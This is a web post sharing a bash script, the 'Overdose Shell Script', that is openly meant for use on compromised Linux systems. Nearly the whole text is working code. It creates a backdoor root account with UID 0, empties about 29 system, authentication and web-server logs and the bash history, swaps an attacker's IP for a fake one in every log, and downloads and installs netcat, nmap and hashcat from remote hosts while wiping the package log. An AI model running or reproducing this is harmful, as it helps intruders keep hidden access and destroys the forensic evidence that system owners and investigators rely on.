Bash script sanitizes logs, adds a root user, and allows for package installation including hashcat, nmap, and more.

[cc lang=”bash”]#!/bin/bash
#Coded By Codeine
#Visit http://infosecforums.com For Updates
#Or If You Have Input
#Original Test On: Ubuntu 11.04 – 2.6.38-10 – x86 – As Root
#
#Version: 1.0
#
#Send Any Problems To f3codeine@yahoo.com Or Visit Site Above
#
################################################################
clear
echo “#########Overdose Shell Script############”
echo “# _____ _ ______ _ # ”
echo “#| __ | | | ___ | | # ”
echo “#| | / ___ | |_ | |_/ /___ ___ | |_ # ”
echo “#| | __ / _ | __| | // _ / _ | __|# ”
echo “#| |_ (_) | |_ | | (_) | (_) | |_ #”
echo “# ____/___/ __| _| ____/ ___/ __|#”
echo “################By Codeine################”

if [ “$(id -u)” != “0” ]; then
echo “>You Must Run As Root<" 1>&2
exit 1
fi
echo “Usage $0 [option]”
echo “”
echo “”
if [ “$1” == “–help” ] || [ “$1” == “” ]; then
echo “Usage $0 [option]”
echo “–help Displays List Of Options”
echo “–packages Install Various Packages(Run For List)”
echo “–addroot Add Root User”
echo “–spooflogs Spoof Logs With Fake IP”
echo “–clearlogs Blanks Out Logs”
echo “–support Gather Tats To Help Support The Project”
exit
elif [ “$1” == “–addroot” ]; then
echo “[*]Enter Username: ”
read rusername
useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername
echo “$rusername Was Created”
echo “[*]Set Password: ”
passwd $rusername
exit
elif [ “$1” == “–clearlogs” ]; then
echo “[*]Clearning Logs…”
echo “————————————”
#Clears 29 Different Logs
if [ -f /var/log/lastlog ]; then
echo “–[*]Cleared /var/log/lastlog”
echo “” > /var/log/lastlog
if [ -f /var/log/lastlog.1 ]; then
echo “–[*]Cleared /var/log/lastlog Backup”
echo “” > /var/log/lastlog.1
fi
fi
if [ -f /var/log/syslog ]; then
echo “”
echo “–[*]Cleared /var/log/syslog”
echo “” > /var/log/syslog
if [ -f /var/log/syslog.1 ]; then
echo “–[*]Cleared /var/log/syslog Backup”
echo “” > /var/log/syslog.1
fi
fi
if [ -f /var/log/messages ]; then
echo “”
echo “–[*]Cleared /var/log/messages”
echo “” > /var/log/messages
if [ -f /var/log/messages.1 ]; then
echo “–[*]Cleared /var/log/messages Backup”
echo “” > /var/log/syslog.1
fi
fi
if [ -f /var/log/httpd/access_log ]; then
echo “”
echo “–[*]Cleared /var/log/httpd/access_log”
echo “” > /var/log/httpd/access_log
if [ -f /var/log/httpd/access_log.1 ]; then
echo “–[*]Cleared /var/log/httpd/access_log Backup”
echo “” > /var/log/httpd/access_log.1
fi
fi
if [ -f /var/log/httpd/access.log ]; then
echo “”
echo “–[*]Cleared /var/log/httpd/access.log”
echo “” > /var/log/httpd/access.log
if [ -f /var/log/httpd/access.log.1 ]; then
echo “–[*]Cleared /var/log/httpd/access.log Backup”
echo “” > /var/log/httpd/access.log.1
fi
fi
if [ -f /var/log/httpd/error_log ]; then
echo “”
echo “–[*]Cleared /var/log/httpd/error_log”
echo “” > /var/log/httpd/error_log
if [ -f /var/log/httpd/error_log.1 ]; then
echo “–[*]Cleared /var/log/httpd/error_log Backup”
echo “” > /var/log/httpd/error_log.1
fi
fi
if [ -f /var/log/httpd/error.log ]; then
echo “”
echo “–[*]Cleared /var/log/httpd/error.log”
echo “” > /var/log/httpd/error.log
if [ -f /var/log/httpd/error.log.1 ]; then
echo “–[*]Cleared /var/log/httpd/error.log Backup”
echo “” > /var/log/httpd/error.log.1
fi
fi
if [ -f /var/log/apache2/access_log ]; then
echo “”
echo “–[*]Cleared /var/log/apache2/access_log”
echo “” > /var/log/apache2/access_log
if [ -f /var/log/apache2/access_log.1 ]; then
echo “–[*]Cleared /var/log/apache2/access_log Backup”
echo “” > /var/log/apache2/access_log.1
fi

fi
if [ -f /var/log/apache2/access.log ]; then
echo “”
echo “–[*]Cleared /var/log/apache2/access.log”
echo “” > /var/log/apache2/access.log
if [ -f /var/log/apache2/access.log.1 ]; then
echo “–[*]Cleared /var/log/apache2/access.log Backup”
echo “” > /var/log/apache2/access.log.1
fi

fi
if [ -f /var/log/apache2/error_log ]; then
echo “”
echo “–[*]Cleared /var/log/apache2/error_log”
echo “” > /var/log/apache2/error_log
if [ -f /var/log/apache2/errors_log.1 ]; then
echo “–[*]Cleared /var/log/apache2/error_log Backup”
echo “” > /var/log/apache2/error_log.1
fi

fi
if [ -f /var/log/apache2/error.log ]; then
echo “”
echo “–[*]Cleared /var/log/apache2/error.log”
echo “” > /var/log/apache2/error.log
if [ -f /var/log/apache2/error.log.1 ]; then
echo “–[*]Cleared /var/log/apache2/error.log Backup”
echo “” > /var/log/apache2/error.log.1
fi

fi
if [ -f /var/log/wtmp ]; then
echo “”
echo “–[*]Cleared /var/log/wtmp”
echo “” > /var/log/wtmp
if [ -f /var/log/wtmp.1 ]; then
echo “–[*]Cleared /var/log/wtmp Backup”
echo “” > /var/log/wtmp.1
fi
fi
if [ -f /var/log/secure ]; then
echo “”
echo “–[*]Cleared /var/log/secure”
echo “” > /var/log/secure
if [ -f /var/log/secure.1 ]; then
echo “–[*]Cleared /var/log/secure Backup”
echo “” > /var/log/secure.1
fi
fi
if [ -f /var/log/xferlog ]; then
echo “”
echo “–[*]Cleared /var/log/xferlog”
echo “” > /var/log/xferlog
if [ -f /var/log/xferlog.1 ]; then
echo “–[*]Cleared /var/log/xferlog Backup”
echo “” > /var/log/xferlog.1
fi
fi
if [ -f /var/run/utmp ]; then
echo “”
echo “–[*]Cleared /var/run/utmp”
echo “” > /var/run/utmp
if [ -f /var/log/umtp.1 ]; then
echo “–[*]Cleared /var/run/utmp Backup”
echo “” > /var/log/umtp.1
fi
fi
if [ -f /var/log/auth.log ]; then
echo “”
echo “–[*]Cleared /var/log/auth.log”
echo “” > /var/log/auth.log
if [ -f /var/log/auth.log.1 ]; then
echo “–[*]Cleared /var/log/auth.log Backup”
echo “” > /var/log/auth.log.1
fi
fi
if [ -f /var/log/faillog ]; then
echo “”
echo “–[*]Cleared /var/log/faillog”
echo “” > /var/log/faillog
if [ -f /var/log/faillog.1 ]; then
echo “–[*]Cleared /var/log/faillog Backup”
echo “” > /var/log/faillog.1
fi
fi
if [ -f /var/log/lighttpd/lighttpd.error.log ]; then
echo “”
echo “–[*]Cleared /var/log/lighttpd/lighttpd.error.log”
echo “” > /var/log/lighttpd/lighttpd.error.log
if [ -f /var/log/lighttpd/lighttpd.error.log.1 ]; then
echo “–[*]Cleared /var/log/faillog Backup”
echo “” > /var/log/lighttpd/lighttpd.error.log.1
fi
fi
if [ -f /var/log/lighttpd/lighttpd.access.log ]; then
echo “”
echo “–[*]Cleared /var/log/lighttpd/lighttpd.access.log”
echo “” > /var/log/lighttpd/lighttpd.access.log
if [ -f /var/log/lighttpd/lighttpd.access.log.1 ]; then
echo “–[*]Cleared /var/log/faillog Backup”
echo “” > /var/log/lighttpd/lighttpd.access.log.1
fi
fi
if [ -f /var/log/dpkg.log ]; then
echo “”
echo “–[*]Cleared /var/log/dpkg.log”
echo “” > /var/log/dpkg.log
if [ -f /var/log/dpkg.log.1 ]; then
echo “–[*]Cleared /var/log/dpkg.log Backup”
echo “” > /var/log/dpkg.log.1
fi
fi
if [ -f /etc/httpd/logs/access_log ]; then
echo “”
echo “–[*]Cleared /etc/httpd/logs/access_log”
echo “” > /etc/httpd/logs/access_log
if [ -f /etc/httpd/logs/access_log.1 ]; then
echo “–[*]Cleared /etc/httpd/logs/access_log Backup”
echo “” > /etc/httpd/logs/acces_log.1
fi
fi
if [ -f /etc/httpd/logs/access.log ]; then
echo “”
echo “–[*]Cleared /etc/httpd/logs/access.log”
echo “” > /etc/httpd/logs/access.log
if [ -f /etc/httpd/logs/access.log.1 ]; then
echo “–[*]Cleared /etc/httpd/logs/access.log Backup”
echo “” > /etc/httpd/logs/access.log.1
fi
fi
if [ -f /etc/httpd/logs/error_log ]; then
echo “”
echo “–[*]Cleared /etc/httpd/logs/error_log”
echo “” > /etc/httpd/logs/error_log
if [ -f /etc/httpd/logs/error_log.1 ]; then
echo “–[*]Cleared /etc/httpd/logs/error_log Backup”
echo “” > /etc/httpd/logs/error_log.1
fi
fi
if [ -f /etc/httpd/logs/error.log ]; then
echo “”
echo “–[*]Cleared /etc/httpd/logs/error.log”
echo “” > /etc/httpd/logs/error.log
if [ -f /etc/httpd/logs/error.log.1 ]; then
echo “–[*]Cleared /etc/httpd/logs/error.log Backup”
echo “” > /etc/httpd/logs/error.log.1
fi
fi
if [ -f /var/www/logs/access_log ]; then
echo “”
echo “–[*]Cleared /var/www/logs/access_log”
echo “” > /var/www/logs/access_log
if [ -f /var/www/logs/access_log.1 ]; then
echo “–[*]Cleared /var/www/logs/access_log Backup”
echo “” > /var/www/logs/access_log.1
fi
fi
if [ -f /var/www/logs/access.log ]; then
echo “”
echo “–[*]Cleared /var/www/logs/access.log”
echo “” > /var/www/logs/access.log
if [ -f /var/www/logs/access.log.1 ]; then
echo “–[*]Cleared /var/www/logs/access.log Backup”
echo “” > /var/www/logs/access.log.1
fi
fi
if [ -f /var/log/apache/access_log ]; then
echo “”
echo “–[*]Cleared /var/log/apache/access_log”
echo “” > /var/log/apache/access_log
if [ -f /var/log/apache/access_log.1 ]; then
echo “–[*]Cleared /var/log/apache/access_log Backup”
echo “” > /var/log/apache/access_log.1
fi
fi
if [ -f /var/log/apache/access.log ]; then
echo “”
echo “–[*]Cleared /var/log/apache/access.log”
echo “” > /var/log/apache/access.log
if [ -f /var/log/apache/access.log.1 ]; then
echo “–[*]Cleared /var/log/apache/access.log Backup”
echo “” > /var/log/apache/access.log.1
fi
fi
if [ -f /var/log/yum.log ]; then
echo “”
echo “–[*]Cleared /var/log/yum.log”
echo “” > /var/log/yum.log
if [ -f /var/log/yum.log.1 ]; then
echo “–[*]Cleared /var/log/yum.log Backup”
echo “” > /var/log/yum.log.1
fi
fi

echo “”
echo “–[*]Clearing Bash History”
echo -n > ~/.bash_history
history -c
echo “————————————”
echo “[*]All Logs Cleared”
exit
elif [ “$1” == “–packages” ]; then
echo “[*]Listing Packages..”
echo “————————————”
echo “”
echo “0) Install All”
echo “1) NMAP http://nmap.org/”
echo “2) Hashcat http://hashcat.net/”
echo “3) Netcat http://netcat.sourceforge.net/”
echo “Which Would You Like To Install: ”
read pinstall
if [ “$pinstall” == “0” ] || [ “$pinstall” == “1” ] || [ “$pinstall” == “2” ] || [ “$pinstall” == “3” ]; then
function nmapinstall {
echo “[*]Checking If Nmap Is Installed:”
if [ -d /usr/local/share/nmap/ ]; then
echo “[*]Nmap Is Installed. –Version”
nmap –version
else
echo “[*]Nmap Is Not Installed”
echo “[*]Nmap Installation Will Now Commence”
wget -c http://nmap.org/dist/nmap-5.59BETA1.tar.bz2
bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf –
cd nmap-5.59BETA1
./configure
make
make install
echo “[*]Nmap Installed. Now Cleaning Up”
rm -r nmap-5.59BETA1
rm nmap-5.59BETA1.tar.bz2
if [ -f /var/log/dpkg.log ]; then
echo “” > /var/log/dpkg.log
if [ -f /var/log/dpkg.log.1 ]; then
echo “” > /var/log/dpkg.log.1
fi
fi
fi
}
function hashcatinstall {
if [ ! -d /home/sysinstall/ ]; then
mkdir /home/sysinstall
fi
if [ ! -d /home/sysinstall/hashcat/ ]; then
cd /home/sysinstall
wget http://infosecforums.com/uploads/hashcat.tar.gz
tar xvfz hashcat.tar.gz
rm hashcat.tar.gz
else
echo “[*]Hashcat Is Already Installed”
fi

}
function netcatinstall {
if [ ! -f /usr/local/bin/nc ]; then
if [ ! -d /home/sysinstall/ ]; then
mkdir /home/sysinstall
fi
cd /home/sysinstall
wget http://infosecforums.com/uploads/netcat-0.7.1.tar.gz
tar -xzf netcat-0.7.1.tar.gz
cd netcat-0.7.1.tar.gz
./configure
make
make install
echo “[*]Netcat Installed. Now Cleaning Up”
rm netcat-0.7.1.tar.gz
rm netcat-0.7.1
if [ -f /var/log/dpkg.log ]; then
echo “” > /var/log/dpkg.log
if [ -f /var/log/dpkg.log.1 ]; then
echo “” > /var/log/dpkg.log.1
fi
fi
else
echo “[*]Netcat Is Already Installed”
fi

}
if [ “$pinstall” == “1” ]; then
nmapinstall
elif [ “$pinstall” == “2” ]; then
hashcatinstall
elif [ “$pinstall” == “3” ]; then
netcatinstall
elif [ “$pinstall” == “0” ]; then
nmapinstall
hashcatinstall
netcatinstall
fi
else
echo “Please Enter A Valid Package Number”
exit
fi
elif [ “$1” == “–spooflogs” ]; then
echo “[*]IP To Replace: ”
read realip
echo “[*]IP To Replace With: ”
read fakeip
echo “”
echo “[*]Spoofing Logs…”
echo “————————————”
if [ -f /var/log/lastlog ]; then
echo “–[*]Spoofed /var/log/lastlog”
sed -i “s/$realip/$fakeip/g” /var/log/lastlog
if [ -f /var/log/lastlog.1 ]; then
echo “–[*]Spoofed /var/log/lastlog Backup”
sed -i “s/$realip/$fakeip/g” /var/log/lastlog.1
fi
fi
if [ -f /var/log/syslog ]; then
echo “”
echo “–[*]Spoofed /var/log/syslog”
sed -i “s/$realip/$fakeip/g” /var/log/syslog
if [ -f /var/log/syslog.1 ]; then
echo “–[*]Spoofed /var/log/syslog Backup”
sed -i “s/$realip/$fakeip/g” /var/log/syslog.1
fi
fi
if [ -f /var/log/messages ]; then
echo “”
echo “–[*]Spoofed /var/log/messages”
sed -i “s/$realip/$fakeip/g” /var/log/messages
if [ -f /var/log/messages.1 ]; then
echo “–[*]Spoofed /var/log/messages Backup”
sed -i “s/$realip/$fakeip/g” /var/log/syslog.1
fi
fi
if [ -f /var/log/httpd/access_log ]; then
echo “”
echo “–[*]Spoofed /var/log/httpd/access_log”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/access_log
if [ -f /var/log/httpd/access_log.1 ]; then
echo “–[*]Spoofed /var/log/httpd/access_log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/access_log.1
fi
fi
if [ -f /var/log/httpd/access.log ]; then
echo “”
echo “–[*]Spoofed /var/log/httpd/access.log”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/access.log
if [ -f /var/log/httpd/access.log.1 ]; then
echo “–[*]Spoofed /var/log/httpd/access.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/access.log.1
fi
fi
if [ -f /var/log/httpd/error_log ]; then
echo “”
echo “–[*]Spoofed /var/log/httpd/error_log”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/error_log
if [ -f /var/log/httpd/error_log.1 ]; then
echo “–[*]Spoofed /var/log/httpd/error_log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/error_log.1
fi
fi
if [ -f /var/log/httpd/error.log ]; then
echo “”
echo “–[*]Spoofed /var/log/httpd/error.log”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/error.log
if [ -f /var/log/httpd/error.log.1 ]; then
echo “–[*]Spoofed /var/log/httpd/error.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/httpd/error.log.1
fi
fi
if [ -f /var/log/apache2/access_log ]; then
echo “”
echo “–[*]Spoofed /var/log/apache2/access_log”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/access_log
if [ -f /var/log/apache2/access_log.1 ]; then
echo “–[*]Spoofed /var/log/apache2/access_log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/access_log.1
fi

fi
if [ -f /var/log/apache2/access.log ]; then
echo “”
echo “–[*]Spoofed /var/log/apache2/access.log”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/access.log
if [ -f /var/log/apache2/access.log.1 ]; then
echo “–[*]Spoofed /var/log/apache2/access.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/access.log.1
fi

fi
if [ -f /var/log/apache2/error_log ]; then
echo “”
echo “–[*]Spoofed /var/log/apache2/error_log”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/error_log
if [ -f /var/log/apache2/errors_log.1 ]; then
echo “–[*]Spoofed /var/log/apache2/error_log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/error_log.1
fi

fi
if [ -f /var/log/apache2/error.log ]; then
echo “”
echo “–[*]Spoofed /var/log/apache2/error.log”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/error.log
if [ -f /var/log/apache2/error.log.1 ]; then
echo “–[*]Spoofed /var/log/apache2/error.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/apache2/error.log.1
fi

fi
if [ -f /var/log/wtmp ]; then
echo “”
echo “–[*]Spoofed /var/log/wtmp”
sed -i “s/$realip/$fakeip/g” /var/log/wtmp
if [ -f /var/log/wtmp.1 ]; then
echo “–[*]Spoofed /var/log/wtmp Backup”
sed -i “s/$realip/$fakeip/g” /var/log/wtmp.1
fi
fi
if [ -f /var/log/secure ]; then
echo “”
echo “–[*]Spoofed /var/log/secure”
sed -i “s/$realip/$fakeip/g” /var/log/secure
if [ -f /var/log/secure.1 ]; then
echo “–[*]Spoofed /var/log/secure Backup”
sed -i “s/$realip/$fakeip/g” /var/log/secure.1
fi
fi
if [ -f /var/log/xferlog ]; then
echo “”
echo “–[*]Spoofed /var/log/xferlog”
sed -i “s/$realip/$fakeip/g” /var/log/xferlog
if [ -f /var/log/xferlog.1 ]; then
echo “–[*]Spoofed /var/log/xferlog Backup”
sed -i “s/$realip/$fakeip/g” /var/log/xferlog.1
fi
fi
if [ -f /var/run/utmp ]; then
echo “”
echo “–[*]Spoofed /var/run/utmp”
sed -i “s/$realip/$fakeip/g” /var/run/utmp
if [ -f /var/log/umtp.1 ]; then
echo “–[*]Spoofed /var/run/utmp Backup”
sed -i “s/$realip/$fakeip/g” /var/log/umtp.1
fi
fi
if [ -f /var/log/auth.log ]; then
echo “”
echo “–[*]Spoofed /var/log/auth.log”
sed -i “s/$realip/$fakeip/g” /var/log/auth.log
if [ -f /var/log/auth.log.1 ]; then
echo “–[*]Spoofed /var/log/auth.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/auth.log.1
fi
fi
if [ -f /var/log/faillog ]; then
echo “”
echo “–[*]Spoofed /var/log/faillog”
sed -i “s/$realip/$fakeip/g” /var/log/faillog
if [ -f /var/log/faillog.1 ]; then
echo “–[*]Spoofed /var/log/faillog Backup”
sed -i “s/$realip/$fakeip/g” /var/log/faillog.1
fi
fi
if [ -f /var/log/lighttpd/lighttpd.error.log ]; then
echo “”
echo “–[*]Spoofed /var/log/lighttpd/lighttpd.error.log”
sed -i “s/$realip/$fakeip/g” /var/log/lighttpd/lighttpd.error.log
if [ -f /var/log/lighttpd/lighttpd.error.log.1 ]; then
echo “–[*]Spoofed /var/log/faillog Backup”
sed -i “s/$realip/$fakeip/g” /var/log/lighttpd/lighttpd.error.log.1
fi
fi
if [ -f /var/log/lighttpd/lighttpd.access.log ]; then
echo “”
echo “–[*]Spoofed /var/log/lighttpd/lighttpd.access.log”
sed -i “s/$realip/$fakeip/g” /var/log/lighttpd/lighttpd.access.log
if [ -f /var/log/lighttpd/lighttpd.access.log.1 ]; then
echo “–[*]Spoofed /var/log/faillog Backup”
sed -i “s/$realip/$fakeip/g” /var/log/lighttpd/lighttpd.access.log.1
fi
fi
if [ -f /var/log/dpkg.log ]; then
echo “”
echo “–[*]Spoofed /var/log/dpkg.log”
sed -i “s/$realip/$fakeip/g” /var/log/dpkg.log
if [ -f /var/log/dpkg.log.1 ]; then
echo “–[*]Spoofed /var/log/dpkg.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/dpkg.log.1
fi
fi
if [ -f /etc/httpd/logs/access_log ]; then
echo “”
echo “–[*]Spoofed /etc/httpd/logs/access_log”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/access_log
if [ -f /etc/httpd/logs/access_log.1 ]; then
echo “–[*]Spoofed /etc/httpd/logs/access_log Backup”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/acces_log.1
fi
fi
if [ -f /etc/httpd/logs/access.log ]; then
echo “”
echo “–[*]Spoofed /etc/httpd/logs/access.log”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/access.log
if [ -f /etc/httpd/logs/access.log.1 ]; then
echo “–[*]Spoofed /etc/httpd/logs/access.log Backup”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/access.log.1
fi
fi
if [ -f /etc/httpd/logs/error_log ]; then
echo “”
echo “–[*]Spoofed /etc/httpd/logs/error_log”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/error_log
if [ -f /etc/httpd/logs/error_log.1 ]; then
echo “–[*]Spoofed /etc/httpd/logs/error_log Backup”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/error_log.1
fi
fi
if [ -f /etc/httpd/logs/error.log ]; then
echo “”
echo “–[*]Spoofed /etc/httpd/logs/error.log”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/error.log
if [ -f /etc/httpd/logs/error.log.1 ]; then
echo “–[*]Spoofed /etc/httpd/logs/error.log Backup”
sed -i “s/$realip/$fakeip/g” /etc/httpd/logs/error.log.1
fi
fi
if [ -f /var/www/logs/access_log ]; then
echo “”
echo “–[*]Spoofed /var/www/logs/access_log”
sed -i “s/$realip/$fakeip/g” /var/www/logs/access_log
if [ -f /var/www/logs/access_log.1 ]; then
echo “–[*]Spoofed /var/www/logs/access_log Backup”
sed -i “s/$realip/$fakeip/g” /var/www/logs/access_log.1
fi
fi
if [ -f /var/www/logs/access.log ]; then
echo “”
echo “–[*]Spoofed /var/www/logs/access.log”
sed -i “s/$realip/$fakeip/g” /var/www/logs/access.log
if [ -f /var/www/logs/access.log.1 ]; then
echo “–[*]Spoofed /var/www/logs/access.log Backup”
sed -i “s/$realip/$fakeip/g” /var/www/logs/access.log.1
fi
fi
if [ -f /var/log/apache/access_log ]; then
echo “”
echo “–[*]Spoofed /var/log/apache/access_log”
sed -i “s/$realip/$fakeip/g” /var/log/apache/access_log
if [ -f /var/log/apache/access_log.1 ]; then
echo “–[*]Spoofed /var/log/apache/access_log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/apache/access_log.1
fi
fi
if [ -f /var/log/apache/access.log ]; then
echo “”
echo “–[*]Spoofed /var/log/apache/access.log”
sed -i “s/$realip/$fakeip/g” /var/log/apache/access.log
if [ -f /var/log/apache/access.log.1 ]; then
echo “–[*]Spoofed /var/log/apache/access.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/apache/access.log.1
fi
fi
if [ -f /var/log/yum.log ]; then
echo “”
echo “–[*]Spoofed /var/log/yum.log”
sed -i “s/$realip/$fakeip/g” /var/log/yum.log
if [ -f /var/log/yum.log.1 ]; then
echo “–[*]Spoofed /var/log/yum.log Backup”
sed -i “s/$realip/$fakeip/g” /var/log/yum.log.1
fi
fi
echo “————————————”
echo “[*]Logs Spoofed”
elif [ “$1” == “–support” ]; then
echo “[*]If you would like to support the production of this script,”
echo “[*]Email the following stats to f3codeine@yahoo.com”
echo “[*]Server mailer may not send which is why I ask for manual email”
echo “———–Stats I Would Like—————-”
echo “ls /usr/bin”
echo “[*]This will display installed applications, warning this will display alot of files & dirs.”
echo “”
echo “ls /var/log”
echo “[*]This is the defualt location for logs.”
echo “———————————————–”
echo “”
echo “[*]I would very much appreciate if you ran those list commands and sent me the results”
echo “[*]If you want to see this script develope more its a simple task to help out.”
fi
##End of file: Visit http://infosecforums.com[/cc]